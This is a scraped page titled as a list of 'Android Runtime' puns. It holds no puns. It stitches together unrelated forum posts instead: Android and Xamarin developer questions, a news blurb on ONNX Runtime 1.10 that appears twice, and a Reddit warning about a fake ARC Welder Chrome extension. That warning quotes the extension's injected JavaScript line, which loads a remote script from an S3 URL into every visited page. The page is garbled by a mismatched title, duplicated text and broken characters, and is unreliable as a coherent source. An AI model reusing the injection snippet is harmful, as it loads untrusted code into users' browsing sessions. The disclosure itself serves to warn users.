A list of puns related to "Android Runtime"
Traditionally, AI models were run over powerful servers in the cloud. Implementing βon-device machine learning,β like using mobile phones, is rarely heard of. This lack of mobile-based implementation can be attributed mainly to the lack of storage memory, compute resources, and power required for using AI models. Despite these limitations, mobile-based AI implementation can be pretty helpful under some problem scenarios.
For achieving the goal of implementing mobile-based AI models, Microsoft has recently released ONNX Runtime version 1.10, which supports building C# applications using Xamarin. Xamarin is an open-source platform for building applications using C# and .NET. This is likely to aid developers in building AI models over Android or iOS platforms. This new release enables the building of cross-platform applications using Xamarin.Forms. Microsoft has also added anΒ exampleΒ application in Xamarin, which runs a ResNet classifier using ONNX Runtimeβs NuGet package in Android and iOS mobiles. For understanding the detailed steps for adding the ONNX runtime package and learning about Xamarin.Forms applications, one can take a lookΒ here.
Hi, I am new to Android development and just learning it from Google's free courses with Kotlin.
Please help me.
Refer to the screenshot.
Problem:
Iam not finding the "text" option as mentioned here: https://developer.android.com/codelabs/basic-android-kotlin-training-birthday-card-app?continue=https%3A%2F%2Fdeveloper.android.com%2Fcourses%2Fpathways%2Fandroid-basics-kotlin-three%23codelab-https%3A%2F%2Fdeveloper.android.com%2Fcodelabs%2Fbasic-android-kotlin-training-birthday-card-app#:~:text=Notice%20that%20the%20text%20attribute%20in%20the%20Declared%20Attributes%20section%20contains%20Hello%20World!.
Hey all,
leaving aside Google's assurance this was done to quicker roll out security updates (like there were no issues migrating from version to version), and to ensure stable app behavior across OS versions, isn't it in fact just another attempt to limit the role of the participants of the whole app distribution ecosystem?
What I mean in particular:
Any other risks I've missed here?
Thank you for sharing your thoughts!
Could not initialize class org.codehaus.groovy.runtime.InvokerHelper
how do I fix this?
Context:
I'm trying to include a feature in my android AR project which will take screenshot of current screen.
I thought this would be a straightforward exercise as unreal has an in-built console command "HighResScreenshot".
So I mapped this command with a button to execute it.
Problem: But when I created a shipped product apk, the feature is not working at all.
Question: Does Unreal stops executing console commands for a shipped products? Can I toggle it, if I can, what are repercussions for it.
And , is there a better way to handle the screenshot feature, or any other alternative, using the BP, specifically for android.
So I just had an idea: what if one of the reasons for Microsoft using chromium for edge was to be able to use the Android app runtime that is in Chrome? That would enable Android apps very easily for them, and might even allow for Google services?
I haven't messed with chromeOS, and haven't touched the Android runtime in Chrome in over 5 years, so I'm not sure if its really even a thing anymore outside of ChromeOS. The thought just popped in my head this morning though, and made a lot of sense to me.
Hi,
I can't wrap my head around this. I have a TextureRect in my UI, the texture is loaded at runtime (from a blob taken from the local SQLite database). This works flawlessly in Windows and displays the correct image in the box, however, when I run the same on Android the same TextureRect is black and doesn't display the image.
If I run the app with the remote debug active while using the app on the phone, I can see that the texture file is correctly created, the method doesn't return an error and it states the correct image size.
I can see the resource correctly created, in the inspector has the correct class and properties. Unfortunately while in debug I can't see a preview of the texture.
The image is created with this code:
onready var profilePicture = get_tree().get_root().find_node("profilePicture", true, false)
var image = Image.new()
var image_error = image.load_jpg_from_buffer(imageFromDb)
if image_error != OK:
print("Error creating the image")
var tex = ImageTexture.new()
tex.create_from_image(image)
profilePicture.texture = tex
any idea?
Thanks
Hello!
I'm making a MusicDJ-inspired app for Android which requires the "Write external storage" permission.
I'm not planning on releasing it on the Play store for financial reasons. It's more of a passion project.
Now, how do I ask for that permission at runtime, like this. I've found the OS.request_permission()
method but it only works with the "Record audio" permission.
At the moment, when I install the app, I have to go into the settings to allow the permission.
I am in the early process of learning how to automate Xamarin apps for my company. I started out by just cloning the TailWind Traders app from Microsoft to make sure my system is configured correctly, but I'm running into an issue. When I try to execute a test, I get a Mac alert "To use the 'keytool' command-line tool you need to install a JDK". But, when I click on Tools > SDK Manager and then click Locations, I see there is a Java SDK (JDK) at
/Users/kroe761/Library/Developer/Xamarin/jdk/microsoft_dist_openjdk_1.8.0.25
How do I resolve this? Thank you!
The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en
This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.
This extension inserts this insidious piece of Javascript into every site you visit:
(function(){var script=document.createElement("script");script.src="///s3.amazonaws.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();
In its background.js
this is obfuscated to avoid detection. It is pretty poorly obfuscated however.
I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:
https://pastebin.com/1jbs7aJS
It also has a message in it like this:
> <b>' + a[f].tbParams.title + ''s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + ''s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I've put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah
So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:
https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml
It also inserts tons of other crap scripts from various domains into the page.
I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!
I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.
The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn
It is for
... keep reading on reddit β‘Hi, for those who recently trying to migrate from Google Drive Android API to Google Drive REST API, is GET_ACCOUNT runtime permission ever required?
From my past old experience on REST API v2, and current v3 example code documentatiinfrom Google, it seem that such permission is required.
However, when I actual test run the example app, I notice that such permission isn't required.
I prefer not to have permission required, as such permission pop-up is really annoying. But, I would like to confirm on this, before removing such permission.
I post the tech detail here: https://stackoverflow.com/q/53941095/72437
For those who have experience on v3 API, do you have any input on this?
Traditionally, AI models were run over powerful servers in the cloud. Implementing βon-device machine learning,β like using mobile phones, is rarely heard of. This lack of mobile-based implementation can be attributed mainly to the lack of storage memory, compute resources, and power required for using AI models. Despite these limitations, mobile-based AI implementation can be pretty helpful under some problem scenarios.
For achieving the goal of implementing mobile-based AI models, Microsoft has recently released ONNX Runtime version 1.10, which supports building C# applications using Xamarin. Xamarin is an open-source platform for building applications using C# and .NET. This is likely to aid developers in building AI models over Android or iOS platforms. This new release enables the building of cross-platform applications using Xamarin.Forms. Microsoft has also added anΒ exampleΒ application in Xamarin, which runs a ResNet classifier using ONNX Runtimeβs NuGet package in Android and iOS mobiles. For understanding the detailed steps for adding the ONNX runtime package and learning about Xamarin.Forms applications, one can take a lookΒ here.
https://preview.redd.it/zsto5v9l9j781.png?width=1920&format=png&auto=webp&s=a3c6833ddd94a4a34b11d14b9e1b04ffd299c792
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